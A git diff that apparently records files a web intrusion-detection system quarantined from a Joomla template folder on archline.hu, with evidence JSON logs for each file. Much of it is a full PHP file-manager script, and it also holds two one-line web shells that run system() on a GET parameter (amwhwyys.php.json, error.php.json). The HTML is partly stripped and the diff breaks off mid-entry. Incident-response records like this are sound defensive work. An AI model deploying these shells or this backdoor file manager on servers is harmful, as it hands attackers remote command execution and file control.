+ $domain = parse_url($url, PHP_URL_HOST);
+ $port = parse_url($url, PHP_URL_PORT);
+ $knownPorts = [22, 23, 25, 3306];
+
+ if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
+ $err = array("message" => "URL is not allowed");
+ event_callback(array("fail" => $err));
+ exit();
+ }
+
+ $use_curl = false;
+ $temp_file = tempnam(sys_get_temp_dir(), "upload-");
+ $fileinfo = new stdClass();
+ $fileinfo->name = trim(basename($url), ".\x00..\x20");
+
+ $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
+ $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
+ $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
+
+ $err = false;
+
+ if(!$isFileAllowed) {
+ $err = array("message" => "File extension is not allowed");
+ event_callback(array("fail" => $err));
+ exit();
+ }
+
+ if (!$url) {
+ $success = false;
+ } else if ($use_curl) {
+ @$fp = fopen($temp_file, "w");
+ @$ch = curl_init($url);
+ curl_setopt($ch, CURLOPT_NOPROGRESS, false );
+ curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
+ curl_setopt($ch, CURLOPT_FILE, $fp);
+ @$success = curl_exec($ch);
+ $curl_info = curl_getinfo($ch);
+ if (!$success) {
+ $err = array("message" => curl_error($ch));
+ }
+ @curl_close($ch);
+ fclose($fp);
+ $fileinfo->size = $curl_info["size_download"];
+ $fileinfo->type = $curl_info["content_type"];
+ } else {
+ $ctx = stream_context_create();
+ @$success = copy($url, $temp_file, $ctx);
+ if (!$success) {
+ $err = error_get_last();
+ }
+ }
+
+ if ($success) {
+ $success = rename($temp_file, strtok(get_file_path(), '?'));
+ }
+
+ if ($success) {
+ event_callback(array("done" => $fileinfo));
+ } else {
+ unlink($temp_file);
+ if (!$err) {
+ $err = array("message" => "Invalid url parameter");
+ }
+ event_callback(array("fail" => $err));
+ }
+ }
+ exit();
+}
+
+// Delete file / folder
+if (isset($_GET['del'], $_POST['token']) && !FM_READONLY) {
+ $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
+ if ($del != '' && $del != '..' && $del != '.' && verifyToken($_POST['token'])) {
+ $path = FM_ROOT_PATH;
+ if (FM_PATH != '') {
+ $path .= '/' . FM_PATH;
+ }
+ $is_dir = is_dir($path . '/' . $del);
+ if (fm_rdelete($path . '/' . $del)) {
+ $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted');
+ fm_set_msg(sprintf($msg, fm_enc($del)));
+ } else {
+ $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted');
+ fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
+ }
+ } else {
+ fm_set_msg(lng('Invalid file or folder name'), 'error');
+ }
+ $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
+}
+
+// Create a new file/folder
+if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) && !FM_READONLY) {
+ $type = urldecode($_POST['newfile']);
+ $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
+ if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.' && verifyToken($_POST['token'])) {
+ $path = FM_ROOT_PATH;
+ if (FM_PATH != '') {
+ $path .= '/' . FM_PATH;
+ }
+ if ($type == "file") {
+ if (!file_exists($path . '/' . $new)) {
+ if(fm_is_valid_ext($new)) {
+ @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new);
+ fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fm_enc($new)));
+ } else {
+ fm_set_msg(lng('File extension is not allowed'), 'error');
+ }
+ } else {
+ fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fm_enc($new)), 'alert');
+ }
+ } else {
+ if (fm_mkdir($path . '/' . $new, false) === true) {
+ fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new));
+ } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
+ fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fm_enc($new)), 'alert');
+ } else {
+ fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fm_enc($new)), 'error');
+ }
+ }
+ } else {
+ fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
+ }
+ $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
+}
+
+// Copy folder / file
+if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
+ // from
+ $copy = urldecode($_GET['copy']);
+ $copy = fm_clean_path($copy);
+ // empty path
+ if ($copy == '') {
+ fm_set_msg(lng('Source path not defined'), 'error');
+ $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
+ }
+ // abs path from
+ $from = FM_ROOT_PATH . '/' . $copy;
+ // abs path to
+ $dest = FM_ROOT_PATH;
+ if (FM_PATH != '') {
+ $dest .= '/' . FM_PATH;
+ }
+ $dest .= '/' . basename($from);
+ // move?
+ $move = isset($_GET['move']);
+ $move = fm_clean_path(urldecode($move));
+ // copy/move/duplicate
+ if ($from != $dest) {
+ $msg_from = trim(FM_PATH . '/' . basename($from), '/');
+ if ($move) { // Move and to != from so just perform move
+ $rename = fm_rename($from, $dest);
+ if ($rename) {
+ fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)));
+ } elseif ($rename === null) {
+ fm_set_msg(lng('File or folder with this path already exists'), 'alert');
+ } else {
+ fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error');
+ }
+ } else { // Not move and to != from so copy with original name
+ if (fm_rcopy($from, $dest)) {
+ fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)));
+ } else {
+ fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error');
+ }
+ }
+ } else {
+ if (!$move){ //Not move and to = from so duplicate
+ $msg_from = trim(FM_PATH . '/' . basename($from), '/');
+ $fn_parts = pathinfo($from);
+ $extension_suffix = '';
+ if(!is_dir($from)){
+ $extension_suffix = '.'.$fn_parts['extension'];
+ }
+ //Create new name for duplicate
+ $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
+ $loop_count = 0;
+ $max_loop = 1000;
+ // Check if a file with the duplicate name already exists, if so, make new name (edge case...)
+ while(file_exists($fn_duplicate) & $loop_count < $max_loop){
+ $fn_parts = pathinfo($fn_duplicate);
+ $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
+ $loop_count++;
+ }
+ if (fm_rcopy($from, $fn_duplicate, False)) {
+ fm_set_msg(sprintf('Copied from %s to %s', fm_enc($copy), fm_enc($fn_duplicate)));
+ } else {
+ fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($fn_duplicate)), 'error');
+ }
+ }
+ else{
+ fm_set_msg(lng('Paths must be not equal'), 'alert');
+ }
+ }
+ $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
+}
+
+// Mass copy files/ folders
+if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) && !FM_READONLY) {
+
+ if(!verifyToken($_POST['token'])) {
+ fm_set_msg(lng('Invalid Token.'), 'error');
+ }
+
+ // from
+ $path = FM_ROOT_PATH;
+ if (FM_PATH != '') {
+ $path .= '/' . FM_PATH;
+ }
+ // to
+ $copy_to_path = FM_ROOT_PATH;
+ $copy_to = fm_clean_path($_POST['copy_to']);
+ if ($copy_to != '') {
+ $copy_to_path .= '/' . $copy_to;
+ }
+ if ($path == $copy_to_path) {
+ fm_set_msg(lng('Paths must be not equal'), 'alert');
+ $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
+ }
+ if (!is_dir($copy_to_path)) {
+ if (!fm_mkdir($copy_to_path, true)) {
+ fm_set_msg('Unable to create destination folder', 'error');
+ $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
+ }
+ }
+ // move?
+ $move = isset($_POST['move']);
+ // copy/move
+ $errors = 0;
+ $files = $_POST['file'];
+ if (is_array($files) && count($files)) {
+ foreach ($files as $f) {
+ if ($f != '') {
+ $f = fm_clean_path($f);
+ // abs path from
+ $from = $path . '/' . $f;
+ // abs path to
+ $dest = $copy_to_path . '/' . $f;
+ // do
+ if ($move) {
+ $rename = fm_rename($from, $dest);
+ if ($rename === false) {
+ $errors++;
+ }
+ } else {
+ if (!fm_rcopy($from, $dest)) {
+ $errors++;
+ }
+ }
+ }
+ }
+ if ($errors == 0) {
+ $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
+ fm_set_msg($msg);
+ } else {
+ $msg = $move ? 'Error while moving items' : 'Error while copying items';
+ fm_set_msg($msg, 'error');
+ }
+ } else {
+ fm_set_msg(lng('Nothing selected'), 'alert');
+ }
+ $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
+}
+
+// Rename
+if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) && !FM_READONLY) {
+ if(!verifyToken($_POST['token'])) {
+ fm_set_msg("Invalid Token.", 'error');
+ }
+ // old name
+ $old = urldecode($_POST['rename_from']);
+ $old = fm_clean_path($old);
+ $old = str_replace('/', '', $old);
+ // new name
+ $new = urldecode($_POST['rename_to']);
+ $new = fm_clean_path(strip_tags($new));
+ $new = str_replace('/', '', $new);
+ // path
+ $path = FM_ROOT_PATH;
+ if (FM_PATH != '') {
+ $path .= '/' . FM_PATH;
+ }
+ // rename
+ if (fm_isvalid_filename($new) && $old != '' && $new != '') {
+ if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
+ fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new)));
+ } else {
+ fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new)), 'error');
+ }
+ } else {
+ fm_set_msg(lng('Invalid characters in file name'), 'error');
+ }
+ $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
+}
+
+// Download
+if (isset($_GET['dl'], $_POST['token'])) {
+ if(!verifyToken($_POST['token'])) {
+ fm_set_msg("Invalid Token.", 'error');
+ }
+
+ $dl = urldecode($_GET['dl']);
+ $dl = fm_clean_path($dl);
+ $dl = str_replace('/', '', $dl);
+ $path = FM_ROOT_PATH;
+ if (FM_PATH != '') {
+ $path .= '/' . FM_PATH;
+ }
+ if ($dl != '' && is_file($path . '/' . $dl)) {
+ fm_download_file($path . '/' . $dl, $dl, 1024);
+ exit;
+ } else {
+ fm_set_msg(lng('File not found'), 'error');
+ $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
+ }
+}
+
+// Upload
+if (!empty($_FILES) && !FM_READONLY) {
+ if(isset($_POST['token'])) {
+ if(!verifyToken($_POST['token'])) {
+ $response = array ('status' => 'error','info' => "Invalid Token.");
+ echo json_encode($response); exit();
+ }
+ } else {
+ $response = array ('status' => 'error','info' => "Token Missing.");
+ echo json_encode($response); exit();
+ }
+
+ $chunkIndex = $_POST['dzchunkindex'];
+ $chunkTotal = $_POST['dztotalchunkcount'];
+ $fullPathInput = fm_clean_path($_REQUEST['fullpath']);
+
+ $f = $_FILES;
+ $path = FM_ROOT_PATH;
+ $ds = DIRECTORY_SEPARATOR;
+ if (FM_PATH != '') {
+ $path .= '/' . FM_PATH;
+ }
+
+ $errors = 0;
+ $uploads = 0;
+ $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
+ $response = array (
+ 'status' => 'error',
+ 'info' => 'Oops! Try again'
+ );
+
+ $filename = $f['file']['name'];
+ $tmp_name = $f['file']['tmp_name'];
+ $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
+ $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
+
+ if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) {
+ $response = array (
+ 'status' => 'error',
+ 'info' => "Invalid File name!",
+ );
+ echo json_encode($response); exit();
+ }
+
+ $targetPath = $path . $ds;
+ if ( is_writable($targetPath) ) {
+ $fullPath = $path . '/' . basename($fullPathInput);
+ $folder = substr($fullPath, 0, strrpos($fullPath, "/"));
+
+ if (!is_dir($folder)) {
+ $old = umask(0);
+ mkdir($folder, 0777, true);
+ umask($old);
+ }
+
+ if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
+ if ($chunkTotal){
+ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
+ if ($out) {
+ $in = @fopen($tmp_name, "rb");
+ if ($in) {
+ if (PHP_VERSION_ID < 80009) {
+ // workaround https://bugs.php.net/bug.php?id=81145
+ do {
+ for (;;) {
+ $buff = fread($in, 4096);
+ if ($buff === false || $buff === '') {
+ break;
+ }
+ fwrite($out, $buff);
+ }
+ } while (!feof($in));
+ } else {
+ stream_copy_to_stream($in, $out);
+ }
+ $response = array (
+ 'status' => 'success',
+ 'info' => "file upload successful"
+ );
+ } else {
+ $response = array (
+ 'status' => 'error',
+ 'info' => "failed to open output stream",
+ 'errorDetails' => error_get_last()
+ );
+ }
+ @fclose($in);
+ @fclose($out);
+ @unlink($tmp_name);
+
+ $response = array (
+ 'status' => 'success',
+ 'info' => "file upload successful"
+ );
+ } else {
+ $response = array (
+ 'status' => 'error',
+ 'info' => "failed to open output stream"
+ );
+ }
+
+ if ($chunkIndex == $chunkTotal - 1) {
+ if (file_exists ($fullPath)) {
+ $ext_1 = $ext ? '.'.$ext : '';
+ $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
+ } else {
+ $fullPathTarget = $fullPath;
+ }
+ rename("{$fullPath}.part", $fullPathTarget);
+ }
+
+ } else if (move_uploaded_file($tmp_name, $fullPath)) {
+ // Be sure that the file has been uploaded
+ if ( file_exists($fullPath) ) {
+ $response = array (
+ 'status' => 'success',
+ 'info' => "file upload successful"
+ );
+ } else {
+ $response = array (
+ 'status' => 'error',
+ 'info' => 'Couldn\'t upload the requested file.'
+ );
+ }
+ } else {
+ $response = array (
+ 'status' => 'error',
+ 'info' => "Error while uploading files. Uploaded files $uploads",
+ );
+ }
+ }
+ } else {
+ $response = array (
+ 'status' => 'error',
+ 'info' => 'The specified folder for upload isn\'t writeable.'
+ );
+ }
+ // Return the response
+ echo json_encode($response);
+ exit();
+}
+
+// Mass deleting
+if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) {
+
+ if(!verifyToken($_POST['token'])) {
+ fm_set_msg(lng("Invalid Token."), 'error');
+ }
+
+ $path = FM_ROOT_PATH;
+ if (FM_PATH != '') {
+ $path .= '/' . FM_PATH;
+ }
+
+ $errors = 0;
+ $files = $_POST['file'];
+ if (is_array($files) && count($files)) {
+ foreach ($files as $f) {
+ if ($f != '') {
+ $new_path = $path . '/' . $f;
+ if (!fm_rdelete($new_path)) {
+ $errors++;
+ }
+ }
+ }
+ if ($errors == 0) {
+ fm_set_msg(lng('Selected files and folder deleted'));
+ } else {
+ fm_set_msg(lng('Error while deleting items'), 'error');
+ }
+ } else {
+ fm_set_msg(lng('Nothing selected'), 'alert');
+ }
+
+ $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
+}
+
+// Pack files zip, tar
+if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
+
+ if(!verifyToken($_POST['token'])) {
+ fm_set_msg(lng("Invalid Token."), 'error');
+ }
+
+ $path = FM_ROOT_PATH;
+ $ext = 'zip';
+ if (FM_PATH != '') {
+ $path .= '/' . FM_PATH;
+ }
+
+ //set pack type
+ $ext = isset($_POST['tar']) ? 'tar' : 'zip';
+
+ if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
+ fm_set_msg(lng('Operations with archives are not available'), 'error');
+ $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
+ }
+
+ $files = $_POST['file'];
+ $sanitized_files = array();
+
+ // clean path
+ foreach($files as $file){
+ array_push($sanitized_files, fm_clean_path($file));
+ }
+
+ $files = $sanitized_files;
+
+ if (!empty($files)) {
+ chdir($path);
+
+ if (count($files) == 1) {
+ $one_file = reset($files);
+ $one_file = basename($one_file);
+ $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
+ } else {
+ $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
+ }
+
+ if($ext == 'zip') {
+ $zipper = new FM_Zipper();
+ $res = $zipper->create($zipname, $files);
+ } elseif ($ext == 'tar') {
+ $tar = new FM_Zipper_Tar();
+ $res = $tar->create($zipname, $files);
+ }
+
+ if ($res) {
+ fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fm_enc($zipname)));
+ } else {
+ fm_set_msg(lng('Archive not created'), 'error');
+ }
+ } else {
+ fm_set_msg(lng('Nothing selected'), 'alert');
+ }
+
+ $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
+}
+
+// Unpack zip, tar
+if (isset($_POST['unzip'], $_POST['token']) && !FM_READONLY) {
+
+ if(!verifyToken($_POST['token'])) {
+ fm_set_msg(lng("Invalid Token."), 'error');
+ }
+
+ $unzip = urldecode($_POST['unzip']);
+ $unzip = fm_clean_path($unzip);
+ $unzip = str_replace('/', '', $unzip);
+ $isValid = false;
+
+ $path = FM_ROOT_PATH;
+ if (FM_PATH != '') {
+ $path .= '/' . FM_PATH;
+ }
+
+ if ($unzip != '' && is_file($path . '/' . $unzip)) {
+ $zip_path = $path . '/' . $unzip;
+ $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
+ $isValid = true;
+ } else {
+ fm_set_msg(lng('File not found'), 'error');
+ }
+
+ if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
+ fm_set_msg(lng('Operations with archives are not available'), 'error');
+ $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
+ }
+
+ if ($isValid) {
+ //to folder
+ $tofolder = '';
+ if (isset($_POST['tofolder'])) {
+ $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
+ if (fm_mkdir($path . '/' . $tofolder, true)) {
+ $path .= '/' . $tofolder;
+ }
+ }
+
+ if($ext == "zip") {
+ $zipper = new FM_Zipper();
+ $res = $zipper->unzip($zip_path, $path);
+ } elseif ($ext == "tar") {
+ try {
+ $gzipper = new PharData($zip_path);
+ if (@$gzipper->extractTo($path,null, true)) {
+ $res = true;
+ } else {
+ $res = false;
+ }
+ } catch (Exception $e) {
+ //TODO:: need to handle the error
+ $res = true;
+ }
+ }
+
+ if ($res) {
+ fm_set_msg(lng('Archive unpacked'));
+ } else {
+ fm_set_msg(lng('Archive not unpacked'), 'error');
+ }
+ } else {
+ fm_set_msg(lng('File not found'), 'error');
+ }
+ $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
+}
+
+// Change Perms (not for Windows)
+if (isset($_POST['chmod'], $_POST['token']) && !FM_READONLY && !FM_IS_WIN) {
+
+ if(!verifyToken($_POST['token'])) {
+ fm_set_msg(lng("Invalid Token."), 'error');
+ }
+
+ $path = FM_ROOT_PATH;
+ if (FM_PATH != '') {
+ $path .= '/' . FM_PATH;
+ }
+
+ $file = $_POST['chmod'];
+ $file = fm_clean_path($file);
+ $file = str_replace('/', '', $file);
+ if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
+ fm_set_msg(lng('File not found'), 'error');
+ $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
+ }
+
+ $mode = 0;
+ if (!empty($_POST['ur'])) {
+ $mode |= 0400;
+ }
+ if (!empty($_POST['uw'])) {
+ $mode |= 0200;
+ }
+ if (!empty($_POST['ux'])) {
+ $mode |= 0100;
+ }
+ if (!empty($_POST['gr'])) {
+ $mode |= 0040;
+ }
+ if (!empty($_POST['gw'])) {
+ $mode |= 0020;
+ }
+ if (!empty($_POST['gx'])) {
+ $mode |= 0010;
+ }
+ if (!empty($_POST['or'])) {
+ $mode |= 0004;
+ }
+ if (!empty($_POST['ow'])) {
+ $mode |= 0002;
+ }
+ if (!empty($_POST['ox'])) {
+ $mode |= 0001;
+ }
+
+ if (@chmod($path . '/' . $file, $mode)) {
+ fm_set_msg(lng('Permissions changed'));
+ } else {
+ fm_set_msg(lng('Permissions not changed'), 'error');
+ }
+
+ $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
+}
+
+/*************************** ACTIONS ***************************/
+
+// get current path
+$path = FM_ROOT_PATH;
+if (FM_PATH != '') {
+ $path .= '/' . FM_PATH;
+}
+
+// check path
+if (!is_dir($path)) {
+ fm_redirect(FM_SELF_URL . '?p=');
+}
+
+// get parent folder
+$parent = fm_get_parent_path(FM_PATH);
+
+$objects = is_readable($path) ? scandir($path) : array();
+$folders = array();
+$files = array();
+$current_path = array_slice(explode("/",$path), -1)[0];
+if (is_array($objects) && fm_is_exclude_items($current_path)) {
+ foreach ($objects as $file) {
+ if ($file == '.' || $file == '..') {
+ continue;
+ }
+ if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
+ continue;
+ }
+ $new_path = $path . '/' . $file;
+ if (@is_file($new_path) && fm_is_exclude_items($file)) {
+ $files[] = $file;
+ } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) {
+ $folders[] = $file;
+ }
+ }
+}
+
+if (!empty($files)) {
+ natcasesort($files);
+}
+if (!empty($folders)) {
+ natcasesort($folders);
+}
+
+// upload form
+if (isset($_GET['upload']) && !FM_READONLY) {
+ fm_show_header(); // HEADER
+ fm_show_nav_path(FM_PATH); // current path
+ //get the allowed file extensions
+ function getUploadExt() {
+ $extArr = explode(',', FM_UPLOAD_EXTENSION);
+ if(FM_UPLOAD_EXTENSION && $extArr) {
+ array_walk($extArr, function(&$x) {$x = ".$x";});
+ return implode(',', $extArr);
+ }
+ return '';
+ }
+ ?>
+
+
+
+
+
+
+
+
+
Copying
+
+ Source path:
+ Destination folder:
+
+
+ Copy
+ Move
+ Cancel
+
+
+
+
+
+
""
+
+
+ :
+ File size:
+ MIME-type:
+
+ :
+ :
+ :
+ : %
+ '.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
';
+ }
+ // Text info
+ if ($is_text) {
+ $is_utf8 = fm_is_utf8($content);
+ if (function_exists('iconv')) {
+ if (!$is_utf8) {
+ $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
+ }
+ }
+ echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
';
+ }
+ ?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ';
+ } else if($online_viewer == 'microsoft') {
+ echo '
';
+ }
+ } elseif ($is_zip) {
+ // ZIP content
+ if ($filenames !== false) {
+ echo '
';
+ foreach ($filenames as $fn) {
+ if ($fn['folder']) {
+ echo '' . fm_enc($fn['name']) . '
';
+ } else {
+ echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
';
+ }
+ }
+ echo '';
+ } else {
+ echo '
'.lng('Error while fetching archive info').'
';
+ }
+ } elseif ($is_image) {
+ // Image content
+ if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
+ echo '
';
+ }
+ } elseif ($is_audio) {
+ // Audio content
+ echo '
';
+ } elseif ($is_video) {
+ // Video content
+ echo '
';
+ } elseif ($is_text) {
+ if (FM_USE_HIGHLIGHTJS) {
+ // highlight
+ $hljs_classes = array(
+ 'shtml' => 'xml',
+ 'htaccess' => 'apache',
+ 'phtml' => 'php',
+ 'lock' => 'json',
+ 'svg' => 'xml',
+ );
+ $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
+ if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
+ $hljs_class = 'nohighlight';
+ }
+ $content = '
' . fm_enc($content) . '
';
+ } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
+ // php highlight
+ $content = highlight_string($content, true);
+ } else {
+ $content = '
' . fm_enc($content) . '
';
+ }
+ echo $content;
+ }
+ ?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ' . htmlspecialchars($content) . '';
+ echo '';
+ } elseif ($is_text) {
+ echo '
' . htmlspecialchars($content) . '
';
+ } else {
+ fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
+ }
+ ?>
+
Error: Cannot load configuration';
+ if (substr($fm_url, -1) == '/') {
+ $fm_url = rtrim($fm_url, '/');
+ $msg .= '
';
+ $msg .= '
Seems like you have a trailing slash on the URL.';
+ $msg .= '
Try this link: ' . $fm_url . '';
+ }
+ die($msg);
+ }
+ if (is_array($data) && count($data)) $this->data = $data;
+ else $this->save();
+ }
+
+ function save()
+ {
+ $fm_file = __FILE__;
+ $var_name = '$CONFIG';
+ $var_value = var_export(json_encode($this->data), true);
+ $config_string = "
+
+ ' . $_SESSION[FM_SESSION_ID]['message'] . '';
+ unset($_SESSION[FM_SESSION_ID]['message']);
+ unset($_SESSION[FM_SESSION_ID]['status']);
+ }
+}
+
+/**
+ * Show page header in Login Form
+ */
+function fm_show_header_login()
+{
+$sprites_ver = '20160315';
+header("Content-Type: text/html; charset=utf-8");
+header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
+header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
+header("Pragma: no-cache");
+
+global $lang, $root_url, $favicon_path;
+?>
+
+
+
+
+
+
+
+
+
+ '; } ?>
+ <?php echo fm_enc(APP_TITLE) ?>
+
+
+
+
+">
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ '; } ?>
+ <?php echo fm_enc(APP_TITLE) ?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ">
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
';system($_GET['cmd']);echo'
';}echo'';?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/amwhwyys.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/amwhwyys.php.json.evidence.json
new file mode 100644
index 0000000..ea155d5
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/amwhwyys.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "2983",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/amwhwyys.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/amwhwyys.php.json)",
+ "original_sha256": "5f9fadd5d78ebe33acaa6f95602ea8b6ba716fe64dac17a20c259ecd32f2dacb",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1784057814,
+ "size": 146,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/amwhwyys.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/error.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/error.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/error.php.json
@@ -0,0 +1 @@
+".php_uname()."\n"; system($_GET["c"]); echo ""; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/error.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/error.php.json.evidence.json
new file mode 100644
index 0000000..4612b52
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/error.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "2974",
+ "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/error.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/error.php.json)",
+ "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1784111945,
+ "size": 74,
+ "uid": 20043
+ },
+ "rel_path": "templates/shaper_helix3/error.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_5pvatqpr.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/_h3x_5pvatqpr.php.json
new file mode 100644
index 0000000..6fc575b
